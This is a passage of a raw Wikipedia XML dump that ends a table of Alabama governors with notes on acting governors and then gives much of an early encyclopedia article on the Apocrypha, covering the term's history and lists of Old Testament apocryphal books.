|- bgcolor=#DDEEFF
|[[Robert B. Lindsay]]
|1870&amp;ndash;[[1872]]
|Democratic
|- bgcolor=#FFE8E8
|[[David P. Lewis]]
|1872&amp;ndash;[[1874]]
|Republican
|- bgcolor=#DDEEFF
|[[George S. Houston]]
|1874&amp;ndash;[[1878]]
|Democratic
|- bgcolor=#DDEEFF
|[[Rufus W. Cobb]]
|1878&amp;ndash;[[1882]]
|Democratic
|- bgcolor=#DDEEFF
|[[Edward A. O'Neal]]
|1882&amp;ndash;[[1886]]
|Democratic
|- bgcolor=#DDEEFF
|[[Thomas Seay]]
|1886&amp;ndash;[[1890]]
|Democratic
|- bgcolor=#DDEEFF
|[[Thomas G. Jones]]
|1890&amp;ndash;[[1894]]
|Democratic
|- bgcolor=#DDEEFF
|[[William C. Oates]]
|1894&amp;ndash;[[1896]]
|Democratic
|- bgcolor=#DDEEFF
|[[Joseph F. Johnston]]
|1896&amp;ndash;[[1900]]
|Democratic
|- bgcolor=#DDEEFF
|[[William D. Jelks]]&lt;sup&gt;7&lt;/sup&gt;
|1900
|Democratic
|- bgcolor=#DDEEFF
|[[William J. Samford]]
|1900&amp;ndash;[[1901]]
|Democratic
|- bgcolor=#DDEEFF
|[[William D. Jelks]]
|1901&amp;ndash;[[1907]]
|Democratic
|- bgcolor=#DDEEFF
|[[Russell Cunningham]]&lt;sup&gt;8&lt;/sup&gt;
|[[1904]]&amp;ndash;[[1905]]
|Democratic
|- bgcolor=#DDEEFF
|[[B. B. Comer]]
|1907&amp;ndash;[[1911]]
|Democratic
|- bgcolor=#DDEEFF
|[[Emmet O'Neal]]
|1911&amp;ndash;[[1915]]
|Democratic
|- bgcolor=#DDEEFF
|[[Charles Henderson]]
|1915&amp;ndash;[[1919]]
|Democratic
|- bgcolor=#DDEEFF
|[[Thomas Kilby]]
|1919&amp;ndash;[[1923]]
|Democratic
|- bgcolor=#DDEEFF
|[[William W. Brandon]]
|1923&amp;ndash;[[1927]]
|Democratic
|- bgcolor=#DDEEFF
|[[Charles McDowell]]&lt;sup&gt;9&lt;/sup&gt;
|[[1924]]
|Democratic
|- bgcolor=#DDEEFF
|[[Bibb Graves]]
|1927&amp;ndash;[[1931]]
|Democratic
|- bgcolor=#DDEEFF
|[[Benjamin M. Miller]]
|1931&amp;ndash;[[1935]]
|Democratic
|- bgcolor=#DDEEFF
|[[Bibb Graves]]
|1935&amp;ndash;[[1939]]
|Democratic
|- bgcolor=#DDEEFF
|[[Frank M. Dixon]]
|1939&amp;ndash;[[1943]]
|Democratic
|- bgcolor=#DDEEFF
|[[Chauncey Sparks]]
|1943&amp;ndash;[[1947]]
|Democratic
|- bgcolor=#DDEEFF
|[[Jim Folsom|James E. Folsom Sr.]]
|1947&amp;ndash;[[1951]]
|Democratic
|- bgcolor=#DDEEFF
|[[Gordon Persons]]
|1951&amp;ndash;[[1955]]
|Democratic
|- bgcolor=#DDEEFF
|[[Jim Folsom|James E. Folsom Sr.]]
|1955&amp;ndash;[[1959]]
|Democratic
|- bgcolor=#DDEEFF
|[[John Malcom Patterson|John Patterson]]
|1959&amp;ndash;[[1963]]
|Democratic
|- bgcolor=#DDEEFF
|[[George Wallace]]
|1963&amp;ndash;[[1967]]
|Democratic
|- bgcolor=#DDEEFF
|[[Lurleen Wallace]]&lt;sup&gt;10&lt;/sup&gt;
|1967&amp;ndash;[[1968]]
|Democratic
|- bgcolor=#DDEEFF
|[[Albert Brewer]]
|1968&amp;ndash;[[1971]]
|Democratic
|- bgcolor=#DDEEFF
|[[George Wallace]] 
|1971&amp;ndash;[[1979]]
|Democratic
|- bgcolor=#DDEEFF
|[[Jere Beasley]]&lt;sup&gt;11&lt;/sup&gt;
|[[1972]]
|Democratic
|- bgcolor=#DDEEFF
|[[Fob James|Forrest H. &quot;Fob&quot; James Jr.]]
|1979&amp;ndash;[[1983]]
|Democratic
|- bgcolor=#DDEEFF
|[[George Wallace]]
|1983&amp;ndash;[[1987]]
|Democratic
|- bgcolor=#FFE8E8
|[[H. Guy Hunt]]
|1987&amp;ndash;[[1993]]
|Republican
|- bgcolor=#DDEEFF
|[[Jim Folsom, Jr.|James E. Folsom Jr.]]&lt;sup&gt;12&lt;/sup&gt;
|1993&amp;ndash;[[1995]]
|Democratic
|- bgcolor=#FFE8E8
|[[Fob James|Forrest H. &quot;Fob&quot; James Jr.]]
|1995&amp;ndash;[[1999]]
|Republican
|- bgcolor=#DDEEFF
|[[Don Siegelman]]
|1999&amp;ndash;[[2003]]
|Democratic
|- bgcolor=#FFE8E8
|[[Bob Riley (Alabama)|Robert R. Riley]]
|2003&amp;mdash;
|Republican
|}

==Notes==
#William Wyatt Bibb was appointed as territorial governor; he was then elected first governor in 1819.
#William Wyatt Bibb died in 1820, and his brother Thomas Bibb, then president of the state senate, filled the unexpired term. 
#In 1831, Governor Moore was elected to the [[United States Senate]], and Samuel Moore, the president of the state senate, filled the unexpired term.
#In 1837, Governor Clay was appointed to the [[United States Senate]], and Hugh McVay, the president of the state senate, filled the unexpired term. 
#Lewis Parsons was appointed provisional governor by the [[Union (American Civil War)|Union]] occupation.
#Wager Swayne was appointed military governor during [[Reconstruction]].
#William Samford was out of state for 26 days at the beginning of his term seeking medical treatment, so William D. Jelks was acting governor.
#Russell Cunningham was governor for nearly a year when governor William D. Jelks was out of state for medical treatment.
#William W. Brandon was out of state for 21 days in 1924, and since the state constitution require the lieutenant governor to act as governor if the governor is out of the state for 20 days, Charles McDowell served two days as governor.
#Lurleen Wallace, wife of George Wallace, died in 1968. Albert Brewer, the lieutenant governor, filled the unexpired term.
#While campaigning for [[President of the United States]] in 1972, George Wallace was shot in an assassination attempt. After a few months of recovery in a [[Maryland]] hospital, Wallace resumed his duties as governor. Lieutenant Governor Jere Beasley served as governor for a month after Wallace had been out of the state for more than 20 days, as per the constitution.
#H. Guy Hunt was removed from office upon conviction of illegally using campaign and inagural funds to pay personal debts.  Lieutenant Governor [[Jim Folsom, Jr.|James E. Folsom Jr.]] filled the unexpired term.

Until 1845, the term of state officials was one year, from then until 1901 it was two years, and since 1901 it has been four years.

==External links==
[http://www.archives.state.al.us/govslist.html The Alabama Department of Archives &amp; History's List of Alabama Governors]
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[[Category:Lists of United States governors|Alabama]]
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[[de:Liste der Gouverneure von Alabama]]
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[[pl:Gubernatorzy stanu Alabama]]
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      <text xml:space="preserve">#REDIRECT [[History of Alabama]]</text>
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  <page>
    <title>Apocrypha</title>
    <id>1288</id>
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      <text xml:space="preserve">{{christianity}}
'''Apocrypha''' is a [[Greek language|Greek]] word (απόκρυφα, neuter plural of απόκρυφος), from αποκρυπτειν, to hide away. Thus it connotes the idea of &quot;closed&quot; or &quot;hidden.&quot; (In this sense apocrypha is in contrast with [[apocalypse]], which means &quot;opened,&quot; &quot;revealed,&quot; or &quot;uncovered.&quot;) '''Apocryphon''' is the singular noun, '''apocrypha''' the plural noun, and '''apocryphal''' the adjective. These words are used to describe the character of a certain class of religiously oriented ancient writings. 

By an analogy the term is extended to non-religious contexts to refer to questionable sources.

==Non-religious usage==
&lt;!-- I placed this small section on top, since the whole rest is religious subject --&gt;
In everyday conversation, '''''apocryphal''''' typically denotes &quot;of highly questionable or no authenticity&quot;, when describing a story nevertheless frequently told and widely believed. In [[literature]], '''''apocrypha''''' are works that purport to have been created by somebody other than their real author, usually a famous figure, as in the case of the [[Ossian|Ossianic]] cycle invented by [[James Macpherson]].

==Religious usage==
In [[Judeo-Christian]] [[theology]], the word '''apocrypha''' refers to texts that are not considered [[Biblical canon|canonical]], part of [[Scripture|the Bible]], but are of roughly similar style and age as the accepted canonical Scriptures. [[Roman Catholic Church|Catholic]] and [[Orthodox Christianity|Orthodox Christian]] Bibles typically contain several texts not included in the Biblical canon by other Christians or by Judaism, who see them as apocryphal. Catholics and Orthodox consider these texts equally canonical as other books of the Bible, with Catholics terming them ''[[deuterocanon]]ical'' (from [[Greek language|Greek]]: &quot;second canon,&quot; or &quot;measuring rule&quot;).

R.M. Wilson wrote:
:&quot;The Greek word ''apocryphos'' did not always have the disparaging sense which later became attached to it. In [[Gnosticism|Gnostic]] circles it was used of books the contents of which were too sacred to be divulged to the common herd, and it was in fact the [[heresy|heretical]] associations which it thus came to possess which led to its use as a term of disparagement. In the [[Nag Hammadi library]], for example, one document bears the title Apocryphon or Secret Book of John, another that of Apocryphon of James, and several Gnostic gospels contain solemn warnings against imparting their contents to any save the deserving, or for the sake of material gain.&quot;
:&amp;mdash;from ''Studies in the Gospel of Thomas'' (the &quot;apocryphal&quot; [[Gospel of Thomas]])&lt;/blockquote&gt;

Apart from the broad sense mentioned in the first paragraph above, Protestants use the word &quot;apocrypha&quot;, in a narrow sense, of those books that they exclude from their canon of Scripture, but that other Churches view as canonical and venerate as divinely inspired, written under the influence of the Holy Spirit. Disagreement between Christian Churches is almost non-existent about the canon of the [[New Testament]], but the inclusion of some books in the [[Old Testament]] canon is disputed. Since many now considered these books to be of late composition, Protestant scholars sometimes call them &quot;intertestamental&quot;, i.e. intermediate between the Old and New Testaments, and hold that God imposed a period of silence, with no prophecy or Scripture, to prepare for the coming of [[Jesus]].

The [[Church of England]] takes an intermediate position; its 6th article of religion says of them &quot;the Church doth read for example of life and instruction of manners; but yet doth it not apply them to establish any doctrine&quot;.

The books that come under the description &quot;apocrypha&quot; in the broad sense but not in this narrow sense are called apocrypha by Catholics and Jews, but Protestants usually call them [[Pseudepigrapha]]. Many of them have [[Apocalypse|apocalyptic]] themes.

The history of the earlier usage of the term &quot;Apocrypha&quot; is not free from obscurity. We shall therefore enter at once on a short account of the origin of this literature in [[Judaism]], of its adoption by early [[Christianity]], of the various meanings which the term &quot;apocryphal&quot; assumed in the course of its history, and having so done we shall proceed to classify and deal with the books that belong to this literature. The word most generally denotes writings which claimed to be, or were by certain sects regarded as, sacred scriptures although excluded from the canonical scriptures. 

===Apocrypha in Judaism===
Certain circles in Judaism, as the [[Essenes]] in Palestine (Josephus, ''B.J.'' ii. 8. 7) and the [[Therapeutae]] (Philo, ''De Vita Contempl.'' ii. 475, ed. Mangey) in Egypt possessed a secret literature. But such literature was not confined to the members of these communities, but had been current among the [[Chasids]] and their successors the [[Pharisees]]. (Judaism was long accustomed to lay claim to an esoteric tradition. Thus though it insisted on the exclusive canonicity of the 24 books, it claimed the possession of an [[oral law]] handed down from [[Moses]], and just as the apocryphal books overshadowed in certain instances the canonical scriptures, so often the oral law displaced the written in the regard of Judaism.) To this literature belong essentially the [[apocalyptic literature|apocalypses]] which were published in fast succession from [[Daniel]] onwards. These works bore, perforce, the names of ancient Hebrew worthies in order to procure them a hearing among the writers' real contemporaries. To reconcile their late appearance with their claims to primitive antiquity the alleged author is represented as &quot;shutting up and sealing&quot; (Dan. xii. 4, 9) the book, until the time of its fulfilment had arrived; for that it was not designed for his own generation but for far-distant ages (Ass. Mos. i. 16, 17). It is not improbable that with many Jewish enthusiasts this literature was more highly treasured than the canonical scriptures. Indeed, we have a categorical statement to this effect in 4 Ezra xiv. 44 sqq., which tells how Ezra was inspired to dictate the sacred scriptures which had been destroyed in the overthrow of Jerusalem: &quot;In forty days they wrote ninety-four books: and it came to pass when the forty days were fulfilled that the Highest spake, saying: the first that thou hast written publish openly that the worthy and unworthy may read it; but keep the seventy last that thou mayst deliver them only to such as be wise among the people; for in them is the spring of understanding, the fountain of wisdom and the stream of knowledge.&quot; Such esoteric books are apocryphal in the original conception of the term. In due course the Jewish authorities drew up a canon or book of sacred scriptures in response to Christianity; they marked other books off from those which claimed to be such without justification.  

The true scriptures, according to the Jewish canon (Yad. iii. 5; Toseph. Yad. ii. 3), were those which defiled the hands of such as touched them. But other scholars, such as Zahn, Schürer, Porter, state that the secret books with which we have been dealing formed a class by themselves and were called &quot;Genuzim&quot; (גנוזים), and that this name and idea passed from Judaism over into the Greek, and that αποκρυφα βιβλια is a translation of ספרים גנוזים. But the Hebrew verb does not mean &quot;to hide&quot; but &quot;to store away,&quot; and is only used of things in themselves precious. Moreover, the phrase is unknown in Talmudic literature. The derivation of this idea from Judaism has therefore not yet been established. Whether the Jews had any distinct name for these esoteric works we do not know. For writings that stood wholly without the pale of sacred books such as the books of heretics or Samaritans they used the designation Hisonim, Sanh. x. I (ספרים חצונים and ספרי המינים. To this class in later times even Sirach was relegated, and indeed all books not included in the canon (Midr. r. Num. 14 and on Koheleth xii. 12; cf. Jer. Sabb. 16). (See Porter in Hastings' ''Bible Dict.'' i. 113) In Aqiba's time Sirach and other apocryphal books were not reckoned among the Hisonim; for Sirach was largely quoted by rabbis in Palestine till the 3rd century A.D.

===Apocrypha in Christianity===
Christianity from [[Jesus]] had no secret or [[esoteric]] teaching. It was essentially the revelation or manifestation of the truth of God. But as Christianity took its origin from Judaism, it is not unnatural that a large body of Jewish ideas was incorporated in the system of Christian thought. The bulk of these in due course underwent transformation either complete or partial, but there was always a residuum of incongruous and inconsistent elements existing side by side with the essential truths of Christianity. This was no isolated phenomenon; for in every progressive period of the history of religion we have on the one side the doctrine of God advancing in depth and fullness: on the other we have [[cosmology|cosmological]], [[eschatology|eschatological]] and other survivals, which, however justifiable in earlier stages, are in unmistakable antagonism with the theistic beliefs of the time. The eschatology of a nation--and the most influential portion of Jewish and Christian apocrypha are eschatological--is always the last part of their religion to experience the transforming power of new ideas and new facts.  

The contemporary religious literature of Judaism outside the canon was composed of apocryphal books, the bulk of which bore an apocalyptic character, and dealt with the coming of the Messianic kingdom. These naturally became the popular religious books of the rising Jewish-Christian communities, and were held by them in still higher esteem, if possible, than by the Jews. Occasionally these Jewish writings were re-edited or adapted to their new readers by Christian additions, but on the whole it was found sufficient to submit them to a system of reinterpretation in order to make them testify to the truth of Christianity and foreshadow its ultimate destinies. Christianity, moreover, moved by the same apocalyptic tendency as Judaism, gave birth to new Christian apocryphs, though, in the case of most of them, the subject matter was to a large extent traditional and derived from Jewish sources. 

Another prolific source of apocryphal gospels, acts and apocalypses was Gnosticism. While the characteristic features of apocalyptic literature were derived from Judaism, those of Gnosticism sprang partly from Greek philosophy, partly from oriental religions. They insisted on an allegorical interpretation of the apostolic writings: they alleged themselves to be the guardians of a secret apostolic tradition and laid claim to prophetic inspiration. With them, as with the bulk of the Christians of the 1st and 2nd centuries, apocryphal books as such were highly esteemed. They were so designated by those who valued them. It was not till later times that the term became one of reproach. 

We have remarked above that the Jewish apocrypha--especially the apocalyptic section and the host of Christian apocryphs--became the ordinary religious literature of the early Christians. And this is not strange seeing that of the former such abundant use was made by the writers of the New Testament. (The New Testament shows undoubtedly an acquaintance with several of the apocryphal books. Thus James i. 19 shows dependence on Sirach v. II, Hebrews i. 3 on Wisdom vii. 26, Hebrews xi. 35 on II Maccabees vi., Romans ix. 21 on Wisdom xv. 7, 2 Cor. v. 1, 4 on Wisdom ix. 15, &amp;c.) Thus [[Book of Jude|Jude]] quotes the [[Book of Enoch]] by name, while undoubted use of this book appears in the four gospels and 1 Peter. The influence of the [[Testaments of the Twelve Patriarchs]] is still more apparent in the Pauline Epistles and the Gospels, and the same holds true of Jubilees and the Assumption of Moses, though in a very slight degree. The genuineness and inspiration of Enoch were believed in by the writer of the Ep. of Barnabas, [[Irenaeus]], [[Tertullian]] and [[Clement of Alexandria]], and much of the early church. But the high position which apocryphal books occupied in the first two centuries was undermined by a variety of influences. All claims to the possession of a secret tradition were denied (Irenaeus ii. 27. 2, iii. 2. 1, 3. 1; Tertullian, ''Praescript.'' 22-27): true inspiration was limited to the apostolic age, and universal acceptance by the church was required as a proof of apostolic authorship. Under the action of such principles apocryphal books tended to pass into the class of spurious and heretical writings.

==== Esoteric writings ====
Turning now to the consideration of the word &quot;apocryphal&quot; itself, we find that in its earliest use it was applied in a laudatory sense to writings,which were kept secret because they were the vehicles of esoteric knowledge which was too profound or too sacred to be imparted to any save the initiated. Thus it occurs in a magical book of Moses, which has been edited from a Leiden papyrus of the 3rd or 4th century by Dieterich (Abraxas, 109). This book, which may be as old as the 1st century, is entitled: &quot;A holy and secret Book of Moses, called eighth, or holy&quot; (Μωυσεως ἱερα βιβλος αποκρυφος επικαλουμενη  ογδοη ἡ ἁγια). The disciples of the Gnostic Prodicus boasted (Clem. Alex. ''Strom.'' i. 15. 69) that they possessed the
secret (αποκρυφους) books of Zoroaster. 4 Ezra is in its author's view a secret work whose value was greater than that of the canonical scriptures (xiv. 44 sqq.) because of its transcendent revelations of the future. It is in a like laudatory meaning that Gregory reckons the New Testament apocalypse as εν αποκρυφοις (''Oratio in suam ordinationem'', iii. 549, ed. Migne; cf. Epiphanius, ''Haer.'' li. 3). The word enjoyed high consideration among the Gnostics (cf. Acts of Thomas, 10, 27, 44).

==== Questionable writings ====
But the word was applied to writings that were kept from public circulation not because of their transcendent, but of, their secondary or questionable value. Thus Origen distinguishes between writings which were read by the churches and apocryphal writings; γραφη μη φερομενη με&amp;nu εν τοις κοινοις και δεδημοσιευμενοις βιβλιοις εικος δ ὁτι εν αποκρυφοις φερομενη (Origen's ''Comm. in Matt.'', x. 18, on Matt. xiii. 57, ed. Lommatzsch iii. 49 sqq.). Cf. ''Epist. ad Africam'', ix. (Lommatzsch xvii. 31): Euseb. ''H.E.'' ii. 23, 25; iii. 3, 6. See Zahn, ''Gesch. Kanons'', i. 126 sqq. Thus the
meaning of αποκρυφος is here practically equivalent to &quot;excluded from the public use of the church,&quot; and prepares the way for the third and unfavourable sense of this word.

==== Spurious writings ====
The word came finally to mean what is false, spurious, bad, heretical. If we may trust the text, this meaning appears in Origen (''Prolog, in Cant. Cantic.'', Lommatzsch xiv. 325): &quot;De scripturis his, quae appellantur apocryphae, pro eo quod multa in iis corrupta et contra fidem veram inveniuntur a majoribus tradita non placuit iis dari locum nec admitti ad auctoritatem.&quot; 

==== Other meanings ====
In addition to the above three meanings strange uses of the term appear in the western church. Thus the Gelasian Decree includes the works of Eusebius, Tertullian and Clement of Alexandria, under this designation. Augustine (''De Civ. Dei'', xv. 23) explains it as meaning obscurity of origin, while Jerome (''Protogus Galeatus'') declares that all books outside the Hebrew canon belong to this class of apocrypha. Jerome's practice, however, did not square with his theory. The western church did not accept Jerome's definition of apocrypha, but retained the word in its original meaning, though great confusion prevailed. Thus the degree of estimation in which the apocryphal books have been held in the church has varied much according to place and time. As they stood in the Septuagint or Greek canon, along with the other books, and with no marks of distinction, they were practically employed by the Greek Fathers in the same way as the other books; hence Origen, Clement and others often cite them as &quot;scripture,&quot; &quot;divine scripture,&quot; &quot;inspired,&quot; and the like. On the other hand, teachers connected with Palestine, and familiar with the Hebrew canon, rigidly exclude all but the books contained there. This view is reflected, for example, in the canon of Melito of Sardis, and in the prefaces and letters of Jerome. Augustine, however (''De Doct. Christ''. ii. 8), attaches himself to the other side. Two well-defined views in this way prevailed, to which was added a third, according to which the books, though not to be put in the same rank as the canonical scriptures of the Hebrew collection, yet were of value for moral uses and to be read in congregations,--and hence they were called &quot;ecclesiastical&quot;--a designation first found in Rufinus (''ob''. 410). Notwithstanding the decisions of some councils held in Africa, which were in favour of the view of Augustine, these diverse opinions regarding the apocryphal books continued to prevail in the church down through the ages till the great dogmatic era of the Reformation. At that epoch the same three opinions were taken up and congealed into dogmas, which may be considered characteristic of the churches adopting them. In 1546 the council of Trent adopted the canon of Augustine, declaring &quot;He is also to be anathema who does not receive these entire books, with all their parts, as they have been accustomed to be read in the Catholic Church, and are found in the ancient editions of the Latin Vulgate, as sacred and canonical.&quot; The whole of the books in question, with the exception of 1st and 2nd Esdras, and the Prayer of Manasses, were declared canonical at Trent. On the other hand, the Protestants universally adhered to the opinion that only the books in the Hebrew collection are canonical. Already Wycliffe had declared that &quot;whatever book is in the Old Testament besides these twenty-five (Hebrew) shall be set among the apocrypha, that is, without authority or belief.&quot; Yet among the churches of the Reformation a milder and a severer view prevailed regarding the apocrypha. Both in the German and English translations (Luther's, 1537; Coverdale's, 1535, &amp;c.) these books are separated from the others and set by themselves; but while in some confessions, ''e.g''. the Westminster, a decided judgment is passed on them, that they are not &quot;to be any otherwise approved or made use of than other human writings,&quot; a milder verdict is expressed regarding them in many other quarters, ''e.g''. in the &quot;argument&quot; prefixed to them in the Geneva Bible; in the Sixth Article of the Church of England, where it is said that &quot;the other books the church doth read for example of life and instruction of manners,&quot; though not to establish doctrine; and elsewhere.

== Old Testament apocryphal books == 

We shall now proceed to enumerate the apocryphal books: first the Apocrypha Proper, and next the rest of the Old and New Testament apocryphal literature. 

=== The Apocrypha Proper ===
or the apocrypha of the Old Testament as considered by English-speaking Protestants, consists of the following books: 1 Esdras, 2 Esdras, Tobit, Judith, Additions to Esther, Wisdom of Solomon, Ecclesiasticus (Sirach), Baruch, Epistle of Jeremiah, Additions to Daniel (Prayer of Azariah, Song of the Three Holy Children, History of Susannah, and Bel &amp; the Dragon), Prayer of Manasseh, 1 Maccabees, 2 Maccabees. Thus the Apocrypha Proper constitutes the surplusage of the Vulgate or Bible of the Roman Catholic Church over the Hebrew Old Testament. Since this surplusage is in turn derived from the Septuagint, from which the old Latin version was translated, it thus follows that the difference between the Protestant and the Catholic Old Testament is, roughly speaking, traceable to the difference between the Palestinian and the Alexandrian canons of the Old Testament. But this is only true with certain reservations; for the Latin Vulgate was revised by Jerome according to the Hebrew, and, where Hebrew originals were wanting, according to the Septuagint. Furthermore, the Vulgate rejects 3 and 4 Maccabees and Psalm cli., which generally appear in the Septuagint, while the Septuagint and Luther's Bible reject 4 Ezra, which is found in the Vulgate and the Apocrypha Proper. Luther's Bible, moreover, rejects also 3 Ezra. It should further be observed that the Vulgate adds the Prayer of Manasses and 3 and 4 Ezra after the New Testament as apocryphal. 

It is hardly possible to form any classification which is not open to some objection. In any case the classification must be to some extent provisional, since scholars are still divided as to the original language, date and place of composition of some of the books which must come under our classification. (Thus some of the additions to Daniel and the Prayer of Manasseh are most probably derived from a Semitic original written in Palestine, yet in compliance with the prevailing opinion they are classed under Hellenistic Jewish literature. Again, the Slavonic [[Book of Enoch|Enoch]] goes back undoubtedly in parts to a Semitic original, though most of it may have been written by a Greek Jew in Egypt.) We may, however, discriminate 
* the Palestinian and
* the Hellenistic literature
of the Old Testament, though even this distinction is open to serious objections. The former literature was generally written in Hebrew or Aramaic, and seldom in Greek; the latter naturally in Greek. Next, within these literatures we shall distinguish three or four classes according to the nature of the subject with which they deal. Thus the books of which we have to treat will be classed as: 
* Historical,
* Legendary (Haggadic),
* Apocalyptic,
* Didactic or Sapiential. 

The Apocrypha Proper then would be classified as follows:--

*Palestinian Jewish Literature
**Historical 
***1 (i.e. 3) Ezra. 
***1 Maccabees.                
**Legendary
***Book of [[Baruch]]
***[[Book of Judith]] 
**Apocalyptic
***2 (i.e. 4) Ezra (see also [[Apocalyptic literature]])
**Didactic
***Sirach (see [[Ecclesiasticus]])  
***Tobit
*Hellenistic Jewish Literature:--
**Historical and Legendary
***Additions to [[Daniel]]
***Additions to [[Esther]]
***[[Epistle of Jeremy]]
***[[2 Maccabees]]
***Prayer of [[Manasses]]
**Didactic
***[[Book of Wisdom]]

Since all these books are dealt with in separate articles, they call for no further notice here.

=== References ===
Texts:
* Holmes and Parsons, ''Vet. Test. Graecum cum var. lectionibus'' (Oxford, 1798-1827)
* Swete, ''Old Testament in Greek'', i.-iii. (Cambridge, 1887-1894)
* Fritzsche, ''Libri Apocryphi V. T. Graece'' (1871).
Commentaries:--
* O. F. Fritzsche and Grimm, ''Kurzgef. exeget. Handbuch zu den Apok. des A.T''. (Leipzig, 1851-1860)
* E. C. Bissell, ''Apocrypha of the Old Testament'' (Edinburgh, 1880)
* Zockler, ''Apok. des A.T.'' (Munchen, 1891)
* Wace, ''The Apocrypha'' (&quot;Speaker's Commentary&quot;) (1888).
Introduction and General Literature:
* E. Schürer, ''Geschichte des jud. Volkes'', vol. iii. 135 sqq., and his article on &quot;Apokryphen&quot; in Herzog's ''Realencykl''. i. 622-653
* Porter in Hastings' ''Bible Dic''. i. 111-123.

== Other Old Testament apocryphal literature ==
* Historical 
** History of Johannes Hyrcanus.
* Legendary
** Book of Jubilees
** Paralipomena Jeremiae, or the Rest of the Words of Baruch 
** Martyrdom of Isaiah
** Pseudo-Philo's Liber Antiquitatum
** Books of Adam
** Jannes and Jambres
** Joseph and Asenath. 
* Apocalyptic
** (See [[Apocalyptic literature]])

=== Historical ===
==== History of Johannes Hyrcanus ====
The ''History of Johannes Hyrcanus'' is mentioned in 1 Macc. xvi. 23-24, but no trace has been discovered of its existence elsewhere. It must have early passed out of circulation, as it was unknown to Josephus. 

=== Legendary ===
==== Book of Jubilees ====
The ''Book of Jubilees'' was written in Hebrew between the year of the accession of Hyrcanus to the high-priesthood in 135 and his breach with the Pharisees some years before his death in 105 B.C. ''Jubilees'' was translated into Greek and from Greek into Ethiopic and Latin. It is preserved in its entirety only in Ethiopic. ''Jubilees'' is the most advanced pre-Christian representative of the midrashic tendency, which was already at work in the Book of Chronicles. This is a rewriting of the book of Genesis and the early chapters of Exodus. His work constitutes an enlarged targum on these books, and its object is to prove the everlasting validity of the law, which, though revealed in time, was superior to time. Writing in the palmiest days of the Maccabean dominion, he looked for the immediate advent of the Messianic kingdom. This kingdom was to be ruled over by a Messiah sprung not from Judah but from Levi, that is, from the reigning Maccabean family. This kingdom was to be gradually realized on earth, the transformation of physical nature going hand in hand with the ethical transformation of man. (For a fuller account see [[Book of Jubilees]].)

==== ''Paralipomena Jeremiae'', or the ''Rest of the Words of Baruch'' ====
This book has been preserved in Greek, Ethiopic, Armenian and Slavonic. The Greek was first printed at Venice in 1609, and next by Ceriani in 1868 under the title ''Paralipomena Jeremiae''. It bears the same name in the Armenian, but in Ethiopic it is known by the second title. (See [[Baruch]].)

==== Martyrdom of Isaiah ====
This Jewish work has been in part preserved in the ''Ascension of Isaiah''. To it belong i. 1, 2a, 6b-13a; ii. 1-8, 10-iii. 12; v. 1c-14 of that book. It is of Jewish origin, and recounts the martyrdom of Isaiah at the hands of Manasseh. (See [[Ascension of Isaiah]])

==== Pseudo-Philo's Liber Antiquitatum Biblicarum ====
Though the Latin version of this book was thrice printed in the 16th century (in 1527, 1550 and 1599), it was practically unknown to modern scholars till it was recognized by [[F. C. Conybeare]] and discussed by Cohn in the ''Jewish Quarterly Review'', 1898, pp. 279-332. It is an Haggadic revision of the Biblical history from Adam to the death of Saul. Its chronology agrees frequently with the LXX. against that of the Massoretic text, though conversely in a few cases. The Latin is undoubtedly translated from the Greek. Greek words are frequently transliterated. While the LXX. is occasionally followed in its translation of Biblical passages, in others the Massoretic is followed against the LXX., and in one or two passages the text presupposes a text different from both. On many grounds Cohn infers a Hebrew original. The eschatology is similar to that taught in the similitudes of the [[Book of Enoch]]. In fact, Eth. En. li. 1 is reproduced in this connexion.  Prayers of the departed are said to be valueless. The book was written after A.D. 70; for, as Cohn has shown, the exact date of the fall of Herod's temple is predicted.

==== Life of Adam and Eve ====
Writings dealing with this subject are extant in Greek, Latin, Slavonic, Syriac, Armenian and Arabic. They go back undoubtedly to a Jewish basis, but in some of the forms in which they appear at present they are christianized throughout. The oldest and for the most part Jewish portion of this literature is preserved to us in Greek, Armenian, Latin and Slavonic,
# The Greek Διηγησις περι Αδαμ και Ευας (published under the misleading title Αποκαλυψις Μωυσεως in Tischendorf's ''Apocalypses Apocryphae'', 1866) deals with the Fall and the death of Adam and Eve. Ceriani edited this text from a Milan MS. (''Monumenta Sacra et Profana'', v. i). This work is found also in Armenian, and has been published by the Mechitharist community in Venice in their ''Collection of Uncanonical Writings of the Old Testament'', and translated by Conybeare (''Jewish Quarterly Review'', vii. 216 sqq., 1895), and by Issaverdens in 1901.
# The ''Vita Adae et Evae'' is closely related and in part identical with the Διηγησις. It was printed by W. Meyer in ''Abh. d. Münch. Akad.'', Philos.-philol. Cl. xiv., 1878.
# The Slavonic Adam book was published by Jajic along with a Latin translation (''Denkschr. d. Wien. Akad. d. Wiss.'' xlii., 1893). This version agrees for the most part with the Διηγησις. It has, moreover, a section, §§ 28-39, which though not found in the Διηγησις is found in the ''Vita''.
# :Before we discuss these three documents we shall mention other members of this literature, which, though derivable ultimately from Jewish sources, are Christian in their present form,
# ''The Book of Adam and Eve'', also called the [[Conflict of Adam and Eve with Satan]], translated from the Ethiopic (1882) by Malan.  This was first translated by Dillmann (''Das christl. Adambuch des Morgenlandes'', 1853), and the Ethiopic book first edited by Trump (''Abh. d. Münch. Akad.'' xv., 1870-1881).
# A Syriac work entitled ''Die Schalzhöhle'' translated by Bezold from three Syriac MSS. in 1883 and subsequently edited in Syriac in 1888.  This work has close affinities to the Conflict, but is said by Dillmann to be more original,

Armenian books on the ''Death of Adam'' (''Uncanonical Writings of O.T.'' pp. 84 sqq., 1901, translated from the Armenian), ''Creation and Transgression of Adam'' (op. cit. 39 sqq.), ''Expulsion of Adam from Paradise'' (op. cit. 47 sqq.), ''Penitence of Adam and Eve'' (op. cit. 71 sqq.) are mainly later writings from Christian hands.

Returning to the question of the Jewish origin of Διηγησις, ''Vita'', Slavonic Adam book, we have already observed that these spring from a common original.  As to the language of this original, scholars are divided. The evidence, however, seems to be strongly in favour of Hebrew.  How otherwise are we to explain such Hebraisms (or Syriacisms) as ευω ῥεει το ἑλαιον εξ αυτο&amp;upsilon (§ 9), οὑ ειπεν... μη φαγειν απ αυτου (§ 21). For others see §§ 23, 33. Moreover, as Fuchs has pointed out, in the words ἑση εν ματαιοις addressed to Eve (§ 25) there is a corruption of חבליס into הבליס. Thus the words were: &quot;Thou shalt have pangs.&quot; In fact, Hebraisms abound throughout this book. (See Fuchs, ''Apok. u. Pseud, d. A.T.'' ii. 511; ''Jewish Encyc.'' i. 179 sq.)

==== Jannes and Jambres ====
